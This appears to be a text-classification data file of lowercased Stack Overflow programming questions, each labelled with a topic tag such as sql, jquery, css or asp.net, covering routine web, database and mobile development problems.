sql searching two columns for best results  i would like to perform an sql search and i would like to get best results. i tried some things but they didn t work well. i have got two columns named subject and content    for example we will search  search this keywords  text on subject and content area. first i m searching  search this keywords  then searching  search  and  this  and  keywords     i would like to retrieve subject s results on top and i would like to retrieve best results liking  search this keywords .my query sometimes works well sometimes not.    how should i write this query    thanks..,sql
angularjs- prompting the user before routing to other controller to save changes  i have a form in a controller. if there are unsaved change i want to warn the user about loosing them when leaving.    first i tried:   <pre><code>$scope.$on( $locationchangestart   function (event  next  current) {      if ($scope.settingsform.$dirty) {          event.preventdefault();          $scope.theuserwantstoleave(function (result) {              if (result ===  leave ) {                  $location.path($location.url(next).hash());                 $scope.$apply();              }         });     } </code></pre>   the code above throws an error in the line <code>$scope.$apply();</code>:   <pre><code>error: $digest already in progress </code></pre>   removing this line just don t execute the redirect.    what would be the right way to do it     ===    <strong>edit:</strong>    other option i tried is handling it by reacting only when i need to cancel the redirection:   <pre><code>  $scope.$on( $locationchangestart   function (event  next  current) {      if ($scope.settingsform.$dirty) {        $scope.theuserwantstoleave(function (result) {          if (result ===  stay_here ) {            event.preventdefault();          }           });         } }); </code></pre>   when doing things this way  the ui is breaking (i see the dialog and then it gone). seems like i can t call another async  method while handling event.,angularjs
how to declare public variable from protected method in asp net   i have database with images in folder on my server. to display this images i am using datalist control. itemtemplate include also a linkbutton   <pre><code>&lt;asp:linkbutton id= wybierzzdjeciebtn  onclick= choosephotobutton_click  commandargument= &lt;%#eval( photolinkaddress )%&gt;  cssclass= wybierzzdjeciebutton  runat= server &gt;choose photo&lt;/asp:linkbutton&gt; </code></pre>   to receiving value from linkbutton commandargument i am using this method:    <pre><code>protected void choosephotobutton_click(object sender  eventargs e) {     linkbutton button = (linkbutton)(sender);     string photolinkaddressvar = button.commandargument.tostring();     response.write(photolinkaddressvar); } </code></pre>   this works fine  no problems. but this is not what i want achieve. my intentions is send this variable  photolinkaddressvar  to this method:   <pre><code>protected void addnewnews_click(object sender  eventargs e) {     string trescstatus =  czeka ;     string autor = session[ username ].tostring();     datetime data = datetime.now;     string dataformat =   ;     dataformat = data.tostring( dd/mm/yyyy h:mm );      string cs = configurationmanager.connectionstrings[ wiadomosciconnection ].connectionstring;     using (sqlconnection con = new sqlconnection(cs))     {         con.open();         string dodaj =  insert into news (tytulnews  trescnews  autor  data  kategoria  dotyczy  photolinkaddress  status) values (@tytulnews  @trescnews  @autor  @data  @kategoria  @dotyczy  @photolinkaddress  @status) ;         sqlcommand com = new sqlcommand(dodaj  con);         com.parameters.addwithvalue( @tytulnews   tytulnewstextbox.text);         com.parameters.addwithvalue( @trescnews   tresctextbox.text);         com.parameters.addwithvalue( @autor   autor);         com.parameters.addwithvalue( @data   dataformat);         com.parameters.addwithvalue( @kategoria   kategoria.selectedvalue.tostring());         com.parameters.addwithvalue( @dotyczy   dotyczy.selectedvalue.tostring());         com.parameters.addwithvalue( @photolinkaddress   photolinkaddressvar);         com.parameters.addwithvalue( @status   trescstatus);         com.executenonquery();     } } </code></pre>   user have to choose photo before press  add news   because if he doesn t do that  he will receive error message. i dont know  how do that. i was trying declare some kind public variable before pageload and do something like this:   <pre><code>protected void choosephotobuttonbutton_click(object sender  eventargs e) {     linkbutton button = (linkbutton)(sender);     photolinkaddressvar = button.commandargument.tostring();  } </code></pre>   but that method won t declare the variable. do you have any idea  how can i achieve that  .,asp.net
setting attributes with homemade classes in rails  i m quite new at rails and ruby so i m not even sure if this is necessary  but i m trying to add attributes to my model that are of one of my homemade classes. in the tutorials i ve read  the attributes are just listed after attr_accessible and the types of those attributes are not defined.  my question is: how do i define the type/class of an attribute or do i even have to,ruby-on-rails
jquery select div with specific style for removal  i am trying to use jquery to locate a div and remove it  currently i have...   <pre><code>jquery( .disable_label ).next().remove(); </code></pre>   my problem is that i have several divs with a class of disable_label.  how can i modify this snippet to only select the disable_label divs that have display:none set     update    i am now using this..   <pre><code>jquery( .disable_label:visible ).next().remove(); </code></pre>   to try and select all instances of .disable_label that have a css value of display:list-item but it s not working.    can i target display:list-item itself,jquery
fetching data value defined in the select tag when an option is selected  i have the following markup and i need to fetch value of <code>data-base</code> inside the function below.   <pre><code>&lt;select id= myid  onclick= myselected(this)  data-base= /admin/index &gt; &lt;option value= 2 &gt;two&lt;/option&gt; &lt;option value= 3 &gt;three&lt;/option&gt; &lt;/select&gt; </code></pre>   js   <pre><code>function myselected(obj) {    var idx = obj.selectedindex;   var ival = obj.options[idx].value;     var baseval = ....   how do i access data-base value  } </code></pre>,javascript
how to print a character but by using variable   simple example for my problem:   <pre><code>char answer;  printf( enter your favorite letter: \n );  answer = getchar(); </code></pre>   now here is the problem. i want to print that character in screen. but by using  answer  variable. something like this:   <pre><code>printf(answer); </code></pre>   but of course it doesn t work. what do i do,c
explain the jquery code  please run me through what happens on execution of <strong><a href= http://www.w3schools.com/jquery/tryit.asp filename=tryjquery_html_toggleclass_func  rel= nofollow >this code</a></strong> basically looking at <strong>toggleclass(function(n)</strong>   <pre><code>   $(document).ready(function(){       $( button ).click(function(){         $( li ).toggleclass(function(n){           return  listitem_  + n;         });       }); </code></pre>   <strong><a href= http://www.w3schools.com/jquery/tryit.asp filename=tryjquery_html_toggleclass_func  rel= nofollow >complete code is here</a></strong>,jquery
"css make <a> appear over <ul> margin  i m making a navigation bar where the the main pages can be accessed in the middle  but i want the log in button to appear to the far right.    i contain the links inside a <code>&lt;ul&gt;</code> element and i use <code>margin: auto;</code> to center it.    the problem occurs when i make another link outside the <code>&lt;ul&gt;</code> and attempt to put it on top of the margin. it appears under the navigation bar.    here is what it looks like: <a href= https://i.stack.imgur.com/qcnda.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qcnda.png  alt= illustration ></a>    and this is with inspect element  showing the margin from the <code>&lt;ul&gt;</code> <a href= https://i.stack.imgur.com/yi2kb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yi2kb.png  alt= with insepct element ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#navbar {
    margin: 0px;
    padding: 0px;
    width: 100%;
    height: 59px;
    background-color: #0040ff;
   }
 
      #navbar a:link  #navbar a:visited  #logincontainer a:link {
          text-decoration: none;
          background-color: #0040ff;
          color: white;
          border: 1px solid black;
          padding: 21px;
      margin: 1px;
          display: inline-block;
          list-style: none;
          font: 12px arial;
      }
 
      #navbar a:hover  #navbar a:active {
          background-color: #3366ff;
      }
 
      ul {
          width: 300px;
          margin: auto;
          text-align: center;
      }
 
      #login {
       float: right;
      }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>   &lt;div id= navbar &gt;
      &lt;ul&gt;
          &lt;a href= index.html &gt;chat&lt;/a&gt;
          &lt;a href= status.php &gt;status&lt;/a&gt;
      &lt;/ul&gt;
 
      &lt;a href= #  id= login &gt;&lt;i class= material-icons  style= font-size:12px; &gt;accessibility&lt;/i&gt; logg inn&lt;/a&gt;
  &lt;/div&gt;</code></pre>
 </div>
 </div>
     html code for the navbar:    css code for the navbar:    so far i ve tried to use z-index  all types of position and also display.",css
css - center popup div in the middle even when page is scrolling  i am trying to center a popup div in the middle of the screen  it does not work for all scenarios.  i have a listing table  where columns represent daily hours and rows radio channels  so let s assume that on the current viewport only 10 radio channels can be fit and whenever a user clicks on a channel  the popup shows up with some information.  until now everything is fine  the popup is centered as i want  but if i scroll down for example to channel (row) 20-30 ect.. and click  the popup wont appear in the center of the screen but right above where it first did...    i think it is annoying to always scroll all the way up to see the information  is there a way to fix this div to always show in the middle of the screen regardless of the scrolling(row position)      this is the div css :   <pre><code>#descriptiondiv{     display: none;     position: absolute;     top: 25%;     left: 25%;     width: 50%;     padding: 16px;     border: 3px solid orange;     background-color: white;     z-index:1002;     overflow: auto; }   #tablewrapper{      width : 900px;      height: 600px; } // the parent div of the listing    &lt;div id= tablewrapper  &gt;     &lt;div id= descriptiondiv &gt;         &lt;span id= descclose &gt;&lt;i class= fa fa-times &gt;&lt;/i&gt;&lt;/span&gt;         &lt;h6 id= destitle &gt;&lt;/h6&gt;         &lt;span id= time &gt;&lt;/span&gt;         &lt;div id= desc &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   thanks,css
transliterators after speech recognition  how can we transliterate the output text of cmu pocketsphinx ( in english) to text in hindi  i have already built a speech recognizer using cmu pocketsphinx in visual studio. the text is recognized in english. i have to transliterate (ie; map one language script to another) to hindi. please help,c
jquery code needed  how do i make an image or flash object run immediately when a webpage is opened and then give the option to close it <br> can this be done using jquery <br> if so can anyone show me how,jquery
mysql update error with random number generator  i have the following query which generates a random number and then appends xxxx to it.  i then update it to the column    <pre><code>update users set profile_name = concat(  xxxxx    convert(varchar(240)  floor( 7 + ( rand( ) * 9999999 ) ) ) ) </code></pre>   its throwing the below error.    <pre><code> #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  varchar(240)  floor( 7 + ( rand( ) * 9999999 ) ) ) )  at line 1 </code></pre>   what is the error,mysql
asp.net how to hide a user control from a page based on the value selected in a dropdown box which is in another user control  i have two user controls uc1 and uc2. these user controls are added to the default page. my issue is  when i change an item in uc2.dropdownlist box to 2 then i need to make the uc1 user control visible else make the uc1 user control invisible. on load of the default page i was able to hide the uc1 user control by adding uc1.visible = false since the value selected in uc2.datagrid is not 2 on load. but when i change the value in uc2.dropdownlist box to 2 i am not able to show the user contol uc1. thanks in advance for helping me.,.net
why ambiguity happens in multiple inheritance not in interfaces  how can we achieve ambiguity in interfaces  can t we achieve ambiguity using abstract classes  i think abstract classes can also collection of fully abstract methods. then why do we need interfaces.,java
inline horizontal spacer in html  i am making a web page with a slideshow  using the same technique used on <a href= http://zine.pocoo.org/  rel= noreferrer >http://zine.pocoo.org/</a>. the person i m making the site for wants the slideshow to be centered. however  some of the photos are portrait layout and some are landscape. (this was not my choice.) i need a <code>position: absolute</code> to get the li s containing the items in the right place  so centering them does not work. (at least  not by normal methods.)    so  i thought that it might work to insert a 124-pixel  spacer  before the image on the portrait pictures. i tried it with a <code>&lt;span style= width: 124px; &gt;&amp;nbsp;&lt;/span&gt;</code>  but it only inserts a single space  not the full 124 pixels. the slideshow fades in and out ok  though  so i think that it would work if i could get the proper spacing.    my question is this: does anyone know a way to have 124px of space <strong>inline</strong> in html (preferably without using images)  or another way to center the pictures in the <code>li</code> items,html
using mtrace for c++  when i use mtrace in my c++ programme i get output like the following   <h2>memory not freed:</h2>  <pre><code>  address           size        caller   0x0804a3c8         0x4 at     0x400b159f  </code></pre>   how do i know where in the code is 0x400b159f,c++
how to change typeface of a textview in the xml   i have been googling around  but haven t found a solution for this.    i know i can change the font of a <code>textview</code> programatically like this <code>view.settypeface(typeface.createfromasset(getassets()  dejavusans.ttf ));</code>.    but  isn t there a way to do it directly in the xml file  i have found <code>android:typeface</code> attribute but it only have the options of  normal    sans   serif  and  monospace . how can i use this font i have in <code>/assets/fonts/roboto-regular.ttf</code>     thanks.,android
how to generate ical file from iphone   i have implemented calander applicaion in which i want to send event data through email to another emailid.in that i want to attach one file (ical file format).so when user get that file and he click on that file then automatically event added in the ical.    please help me for this query.    thanks in advance,iphone
expected status code in (200-299) got 503  i got the following error  expected status code in (200-299) got 503.    i didn t get this all the time. sometimes i notice this error. i am unable to figure out the exact reason.    the base url i am using in the application is in following format.    baseurl: <a href= https://staging.something.com  rel= nofollow >https://staging.something.com</a>    for every request i append to base url as follows.     baseurl/api/     please let me know if any issues.,ios
block access to a table from any user except one  i have a database with many many tables.    i want to block any users  except one  from accessing this table.  all the users will also need to be able to access any future tables created in such database  and naturally it is not possible for me to add/remove access to those tables as some are temporary tables created just scripting purpose.    something like:   <pre><code>grant all priv on *.* to user123 ... revoke all priv on mydb.table from user123 </code></pre>,mysql
src= some.js var=val  what does it actually mean   after looking at some html sourses  i found some  meaningless  file inclusion  for both css and js.    i call this  meaningless  because    <ol> <li><code>&lt;script src= some_file.js 123 &gt;&lt;/script&gt;</code> always totaly equals (size in bytes) to  <li><code>&lt;link href= some.css var=val  rel= stylesheet  type= text/css  /&gt;</code> === the same as aforementioned.</li> <li>as we know  usually client-side technology can t parse vars which are coming from http (mean from post and get)  this job for server-side one.</li> </ol>   so the question is   why people use this  wnen to/not to use this     thanks.,html
how to read a txt file from an existing directory  i am trying to read a txt file from my directory   this i got so far. its compiling but print nothing.        <pre><code>char printfile() {   fstream file( proj1_test1.txt );   char file01;   char page[5][6];   file.open( proj1_test1.txt );    for(int i = 0; i &lt; numofrows; i++){     for(int j = 0; j &lt; numofcolumns; j++){       file &gt;&gt; file01;       page[i][j] = file01;       //cout &lt;&lt; page[i][j] &lt;&lt; endl;     }   }   cout &lt;&lt;  file loaded   &lt;&lt; endl;   cout &lt;&lt; file &lt;&lt; endl;     file.close();     return 0; } </code></pre>   the file which i am trying to read and print contains this   <pre><code> f f r r r  f f r r r  f f r r r  f f r r r  f f r r r  f f r r r </code></pre>,c++
find string mathematical operator  i need help. i want to verified if a character who is stored in a list  exist in a string;    my list:   <pre><code>obj = [ &lt;   &gt;   =   &lt;= ] </code></pre>   my string   <pre><code>x = a&lt;=b  </code></pre>   thanks,python
new ui-router states are not created  i have this code (inherited an app)   <pre><code>angular.module( somename ). config(function($stateprovider  $urlrouterprovider) {     $stateprovider.         /**          * login form state          **/         state( login   {             url:  /login               templateurl:  views/login.tpl.html               controller:  loginctrl               authenticate: false              bodyclass:  login          }).         /**          * root view  sees widgets states          */         state( logged-in   {             url:  /               templateurl:  views/logged-in-root.tpl.html               controller:  rootctrl               authenticate: true              bodyclass:  home          }).         /**          * the search form states          */         state( logged-in.search   {             url:  search               authenticate: true              bodyclass:  search               pagetitle:  search | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/search/search.tpl.html                       controller:  searchctrl                  }             }         }).          /**          * list of results states          */         state( logged-in.results   {             url:  results               authenticate: true              bodyclass:  results               pagetitle:  results | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/results/results.tpl.html                       controller:  resultsctrl                  }             }         }).          /**          * viewing all profiles states          */         // list of all profiles without specific selected         state( logged-in.result-all   {             url:  result               authenticate: true              bodyclass:  result               pagetitle:  result | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/result/result.tpl.html                       controller:  resultctrl                  }             }         }).         // adding a new profile         state( logged-in.result-all.new-profile   {             url:  /profile/new               authenticate: true              bodyclass:  new-profile               pagetitle:  new profile | crowdskout               templateurl:  views/result/new-profile.tpl.html               controller:  newprofilectrl          }).              // specific profile selected         state( logged-in.result-all.profile   {             url:  /profile/:profileid               authenticate: true              bodyclass:  profile               pagetitle:  profile | crowdskout               templateurl:  views/result/profile.tpl.html               controller:  profilectrl          }).           /**          * viewing a specific result set states          */         // list of all the matching profiles without a specific profile selected         state( logged-in.result   {             url:  result/:resultid               authenticate: true              bodyclass:  result               pagetitle:  result | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/result/result.tpl.html                       controller:  resultctrl                  }             }         }).         // adding a new profile while viewing a specific result set         state( logged-in.result.new-profile   {             url:  /profile/new               authenticate: true              bodyclass:  new-profile               pagetitle:  new profile | crowdskout               templateurl:  views/result/new-profile.tpl.html               controller:  newprofilectrl          }).         // viewing a specific profile within a result set         state( logged-in.result.profile   {             url:  /profile/:profileid               authenticate: true              bodyclass:  profile               pagetitle:  profile | crowdskout               templateurl:  views/result/profile.tpl.html               controller:  profilectrl          }).          /**          * taking action on a specific result set          **/         state( logged-in.actions   {             url:  result/:resultid/action               authenticate: true              bodyclass:  actions               pagetitle:  take action | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/actions/action.tpl.html                       controller:  actionctrl                  }             }         }).         // exporting to file         state( logged-in.actions.export   {             url:  /export               authenticate: true              bodyclass:  actions export               pagetitle:  export list | crowdskout               views: {                  modal@logged-in  : {                     templateurl:  views/actions/export.tpl.html                       controller:  exportctrl                  }             }         }).         // email list         state( logged-in.actions.email   {             url:  /email               authenticate: true              bodyclass:  actions email               pagetitle:  email list | crowdskout               views: {                  modal@logged-in  : {                     templateurl:  views/actions/email.tpl.html                       controller:  emailctrl                  }             }         }).          /**          * states for viewing and managing user accounts          **/         // view all accounts         state( logged-in.accounts   {             url:  accounts               authenticate: true              bodyclass:  accounts               pagetitle:  accounts | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/account/accounts.tpl.html                       controller:  accountsctrl                  }             }         }).          // create new account         state( logged-in.new-account   {             url:  account/new               authenticate: true              bodyclass:  new-account               pagetitle:  new account | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/account/new-account.tpl.html                       controller:  newaccountctrl                  }             }         }).          // view a specific account         state( logged-in.account   {             url:  account/:accountid               authenticate: true              bodyclass:  account               pagetitle:  account | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/account/account.tpl.html                       controller:  accountctrl                  }             }         }).          /**          * states for viewing and managing outside connections          **/         state( logged-in.connect   {             url:  connect               authenticate: true              bodyclass:  connect               pagetitle:  connect | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/connect/index.tpl.html                  }             }         }).          // view and update mailchimp accounts         state( logged-in.connect.mailchimp   {             url:  /mailchimp               authenticate: true              bodyclass:  connect mailchimp               pagetitle:  mailchimp | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/connect/mailchimp.tpl.html                  }             }         }).         state( logged-in.connect.import   {             url:  /import               authenticate: true              bodyclass :  connect import               pagetitle:  import list | crowdskout               views: {                  main@logged-in  : {                     templateurl:  views/connect/import.tpl.html                  }             }         }).         state( logged-in.client   {             url:  /client               authenticate: true              bodyclass :  client               views: {                  main@logged-in  : {                     templateurl: views/client/index.tpl.html                  }             }          });      $urlrouterprovider.otherwise( /login ); }); </code></pre>   the last url client isn t coming up. it redirects to login. thanks,angularjs
.net data structure with one to one mapping   is there a built-in data structure for a key-<em>key</em> pair   i m building a cross-reference table where each  side  of the reference is unique and corresponds to exactly one value on the other side.    for example  if i have a set of color names and color codes   i d like to be to lookup a color by either its code or its name. a name lookup would return the color code while a code lookup would return the color name.,.net
implementing sso between 3 websites  i am sorry if this question has already been asked  i couldn`t find it.    my organization has two websites:   <ol> <li>www.abc.com</li> <li>www.abc.online-rewards.com</li> </ol>   user starts by logging in to www.abc.com and for going to the other website (www.abc.online-rewards.com)  the user has to log in again. i want to eliminate this issue by creating a dashboard (dashboard will display employees info and his rewards  so that they can be redeemed through second website).    can anybody help me with this issue. any help will be much appreciated.,c#
css href button  what would be the best approach of creating other colors of link buttons  without copying the entire thing again and again. i already have a blue button.. now i want to have another orange or green button   <pre><code>.blue-button {     padding: 10px 15px;     background: #4479ba;     color: #fff;     -webkit-border-radius: 4px;     -moz-border-radius: 4px;     border-radius: 4px;     border: solid 1px #20538d;     text-shadow: 0 -1px 0 rgba(0  0  0  0.4);     -webkit-box-shadow: inset 0 1px 0 rgba(255  255  255  0.4)  0 1px 1px rgba(0  0  0  0.2);     -moz-box-shadow: inset 0 1px 0 rgba(255  255  255  0.4)  0 1px 1px rgba(0  0  0  0.2);     box-shadow: inset 0 1px 0 rgba(255  255  255  0.4)  0 1px 1px rgba(0  0  0  0.2);     -webkit-transition-duration: 0.2s;     -moz-transition-duration: 0.2s;     transition-duration: 0.2s;     -webkit-user-select:none;     -moz-user-select:none;     -ms-user-select:none;     user-select:none; } .blue-button:hover {     background: #356094;     border: solid 1px #2a4e77;     text-decoration: none; } .blue-buttonk:active {     -webkit-box-shadow: inset 0 1px 4px rgba(0  0  0  0.6);     -moz-box-shadow: inset 0 1px 4px rgba(0  0  0  0.6);     box-shadow: inset 0 1px 4px rgba(0  0  0  0.6);     background: #2e5481;     border: solid 1px #203e5f; } </code></pre>,css
refactor jquery dynamic form script for generic use  i have a simple form where a user can choose a colour and then a thing from that colour category. the second select input updates based on the first input.     i have a jquery script which allows me to target the first element based on id and change the next one accordingly when it s id is specified. now i want to make this into a reusable script so that i can choose any select and update the next select accordingly. i can take care of the internal logic (url get parameter).    in my jquery script: get parameter)  but i can t figure out how to target the next select element after the one selected (i tried with next() but it didn t work).    <pre class= lang-js prettyprint-override ><code>$(document).ready(function () {     var nextselect = $( #id_colour );     nextselect.change(function () {         function updatechoices() {             var selected = nextselect.val();             if (selected) {                 // this line shown for completeness - will be refactored                 $.getjson(url  {                     colour_id: selected                 }  function (data  jqxhr) {                     var options = [];                     for (var i = 0; i &lt; data.length; i++) {                         output =  &lt;option value=   + data[i].id +    ;                         if (nextselect.val() == data[i].id) {                             output +=   selected= selected  ;                         }                         output +=  &gt;  + data[i].name +  &lt;/option&gt; ;                         options.push(output);                     }                     $( #id_thing ).html(options.join(  ));                 });             }         }         updatechoices();         $( #id_thing ).change(updatechoices);     }); }); </code></pre>   any help much appreciated.    <strong>edit</strong> here is the html. so i want that when one  is changed the next  will be targeted. i cannot rely on ids or classes.   <pre class= lang-html prettyprint-override ><code>&lt;form action=   method= post &gt;     &lt;!-- colour --&gt;     &lt;div class= form_div &gt;         &lt;p&gt;&lt;label for= colour &gt;colour:&lt;/label&gt;&lt;/p&gt;         &lt;p&gt;             &lt;select name= colour  id= id_colour &gt;                 &lt;option value=   selected= selected &gt;---------&lt;/option&gt;                 &lt;option value= 1 &gt;green&lt;/option&gt;                 &lt;option value= 2 &gt;brown&lt;/option&gt;                 &lt;option value= 3 &gt;blue&lt;/option&gt;             &lt;/select&gt;         &lt;/p&gt;     &lt;/div&gt;       &lt;!-- thing --&gt;     &lt;div class= form_div &gt;         &lt;p&gt;&lt;label for= thing &gt;thing:&lt;/label&gt;&lt;/p&gt;         &lt;p&gt;             &lt;select name= thing  id= id_thing &gt;                 &lt;option value=   selected= selected &gt;---------&lt;/option&gt;                 &lt;option value= 1 &gt;branch&lt;/option&gt;                 &lt;option value= 2 &gt;leaf&lt;/option&gt;                 &lt;option value= 3 &gt;sky&lt;/option&gt;             &lt;/select&gt;         &lt;/p&gt;     &lt;/div&gt;       &lt;p&gt;&lt;input type= submit  value= submit choice  /&gt;&lt;/p&gt; &lt;/form&gt; </code></pre>,jquery
converting id into nsstring  i am using nspropertylistserialization  for converting nsdictionary to xml and the code is as follows    <pre><code>nsmutabledictionary *rootobj = [nsmutabledictionary dictionarywithcapacity:2];     nsdictionary *innerdict;     nsstring *name;     nsdate *dob;     nsarray *scores;      scores = [nsarray arraywithobjects:[nsnumber numberwithint:6]                [nsnumber numberwithfloat:4.6]  [nsnumber numberwithlong:6.0000034]  nil];     name = @ george washington ;     dob = [nsdate datewithstring:@ 1732-02-17 04:32:00 +0300 ];     innerdict = [nsdictionary dictionarywithobjects:                  [nsarray arraywithobjects: name  dob  scores  nil]                                             forkeys:[nsarray arraywithobjects:@ name   @ dob   @ scores ]];     [rootobj setobject:innerdict forkey:@ washington ];      scores = [nsarray arraywithobjects:[nsnumber numberwithint:8]                [nsnumber numberwithfloat:4.9]                [nsnumber numberwithlong:9.003433]  nil];     name = @ abraham lincoln ;     dob = [nsdate datewithstring:@ 1809-02-12 13:18:00 +0400 ];     innerdict = [nsdictionary dictionarywithobjects:                  [nsarray arraywithobjects: name  dob  scores  nil]                                             forkeys:[nsarray arraywithobjects:@ name   @ dob   @ scores ]];     [rootobj setobject:innerdict forkey:@ lincoln ];       nslog(@ the dictionary is :%@  rootobj);       id plist = [nspropertylistserialization datafrompropertylist:(id)rootobj                                                           format:nspropertylistxmlformat_v1_0 errordescription:nil];  nslog(@  the xml file is :%@  plist); </code></pre>   and the out put in console is as follows......   <pre><code>xmltonsdictionary[2478:207] the dictionary is :{     lincoln =     {         dob =  1809-02-12 09:18:00 +0000 ;         name =  abraham lincoln ;         scores =         (             8               4.9               9         );     };     washington =     {         dob =  1732-02-17 01:32:00 +0000 ;         name =  george washington ;         scores =         (             6               4.6               6         );     }; } </code></pre>  <blockquote>    2011-08-22 11:35:09.611 xmltonsdictionary[2478:207] the xml file is   :&lt;3c3f786d 6c207665 7273696f 6e3d2231 2e302220 656e636f 64696e67   3d225554 462d3822 3f3e0a3c 21444f43 54595045 20706c69 73742050   55424c49 4320222d 2f2f4170 706c652f 2f445444 20504c49 53542031   2e302f2f 454e2220 22687474 703a2f2f 7777772e 6170706c 652e636f   6d2f4454 44732f50 726f7065 7274794c 6973742d 312e302e 64746422   3e0a3c70 6c697374 20766572 73696f6e 3d22312e 30223e0a 3c646963   743e0a09 3c6b6579 3e4c696e 636f6c6e 3c2f6b65 793e0a09 3c646963   743e0a09 093c6b65 793e444f 423c2f6b 65793e0a 09093c64 6174653e   31383039 2d30322d 31325430 393a3138 3a30305a 3c2f6461 74653e0a   09093c6b 65793e4e 616d653c 2f6b6579 3e0a0909 3c737472 696e673e   41627261 68616d20 4c696e63 6f6c6e3c 2f737472 696e673e 0a09093c   6b65793e 53636f72 65733c2f 6b65793e 0a09093c 61727261 793e0a09   09093c69 6e746567 65723e38 3c2f696e 74656765 723e0a09 09093c72   65616c3e 342e3930 30303030 30393533 36373433 31363c2f 7265616c   3e0a0909 093c696e 74656765 723e393c 2f696e74 65676572 3e0a0909   3c2f6172 7261793e 0a093c2f 64696374 3e0a093c 6b65793e 57617368   696e6774 6f6e3c2f 6b65793e 0a093c64 6963743e 0a09093c 6b65793e   444f423c 2f6b6579 3e0a0909 3c646174 653e3137 33322d30 322d3137   5430313a 33323a30 305a3c2f 64617465 3e0a0909 3c6b6579 3e4e616d   653c2f6b 65793e0a 09093c73 7472696e 673e4765 6f726765 20576173   68696e67 746f6e3c 2f737472 696e673e 0a09093c 6b65793e 53636f72   65733c2f 6b65793e 0a09093c 61727261 793e0a09 09093c69 6e746567   65723e36 3c2f696e 74656765 723e0a09 09093c72 65616c3e 342e3539   39393939 39303436 33323536 38343c2f 7265616c 3e0a0909 093c696e   74656765 723e363c 2f696e74 65676572 3e0a0909 3c2f6172 7261793e   0a093c2f 64696374 3e0a3c2f 64696374 3e0a3c2f 706c6973 743e0a>  </blockquote>   now i want to do is that to display id in xml (nsstring) format ....    can any one please help me how to do that ....,iphone
cannot perform update with case statement  i m trying to update a temp table based on the value of a column in the table. my case statement doesn t seem to work. any ideas  help much appreciated.    here s where i create the temp table. the columns contain values.   <pre><code>if object_id( tempdb..#accounts ) is not null drop table #accounts; create table #accounts (     fa_rows bigint      pr_rows bigint      newfarate1 decimal(10 5)      newfarate2 decimal(10 5)      newfarate3 decimal(10 5)      newfarate4 decimal(10 5)      newfarate5 decimal(10 5)      pctrate1 decimal (10 5)      pctrate2 decimal (10 5)      pctrate3 decimal (10 5)      pctrate4 decimal (10 5)  ...pctrate10 decimal (10 5) ) </code></pre>   here s the attempted update (i ve added more details):   <pre><code>update #accounts  --when fa_rows is 2 i need to do this     set newfarate1 = case fa_rows when 2 then pctrate12 - pctrate7 end      newfarate2 = case fa_rows when 2 then pctrate3 - pctrate8 end   ---when fa_rows is 3 i need to do this     set newfarate1 = case fa_rows when 3 then pctrate12 - pctrate7 end      newfarate2 = case fa_rows when 3 then pctrate3 - pctrate8 end      newfarate3 = case fa_rows when 3 then pctrate3 - pctrate8 end  --when fa_rows is 4 i need to do this     set newfarate1 = case when 4 then pctrate2 - pctrate7 end      newfarate2 = case when 4 then pctrate3 - pctrate8 end      newfarate3 = case when 4 then pctrate4 - pctrate9 end      newfarate4 = case when 4 then pctrate5 - pctrate10 end                         where fa_rows = pr_rows  </code></pre>   this code is obviously not working. the preprocessor doen t like the multiple set commands.,sql
asp.net modalpopupextender not behaving properly  i  have the following code on a .aspx file. if i comment out the modalpopupextender code works fine.:     <pre><code>   &lt;cc1:modalpopupextender behaviorid= mdlpopup  runat= server  targetcontrolid= btn          id= mdl1  popupcontrolid= pnlpopup  okcontrolid= linkbutton1  backgroundcssclass= modalbackground  /&gt;     &lt;asp:panel id= pnlpopup  runat= server  cssclass= confirm-dialog  style= display: none; &gt;         &lt;div class= inner &gt;            work order #: &lt;asp:textbox id= txtworkorder  runat= server   width= 285  text=  &gt;&lt;/asp:textbox&gt;&lt;br /&gt;&lt;br /&gt;              please enter corrective actions&lt;br /&gt;             &lt;asp:textbox id= textbox2  runat= server  height= 150  width= 285  textmode= multiline                  text=  &gt;&lt;/asp:textbox&gt;             &lt;asp:button id= btnok  runat= server  font-bold= true  text= submit  onclick= click                  width= 150  /&gt;             &lt;asp:linkbutton id= linkbutton1  runat= server  cssclass= close  onclick= cancel  /&gt;         &lt;/div&gt;     &lt;/asp:panel&gt;     &lt;asp:button id= btn  runat= server  style= display: none;  /&gt;     &lt;asp:label id= id  runat= server  text= label  visible= false &gt;&lt;/asp:label&gt; </code></pre>   the problem that i am having is that the page just hangs when i have this code in the .aspx file. is there anything i should do. it does not even get to the page_load.     i am calling this page that has the above code with the following:    <pre><code>    string url =  alerts.aspx  ;     url +=  id=  + id.text;     response.redirect(url);  </code></pre>,asp.net
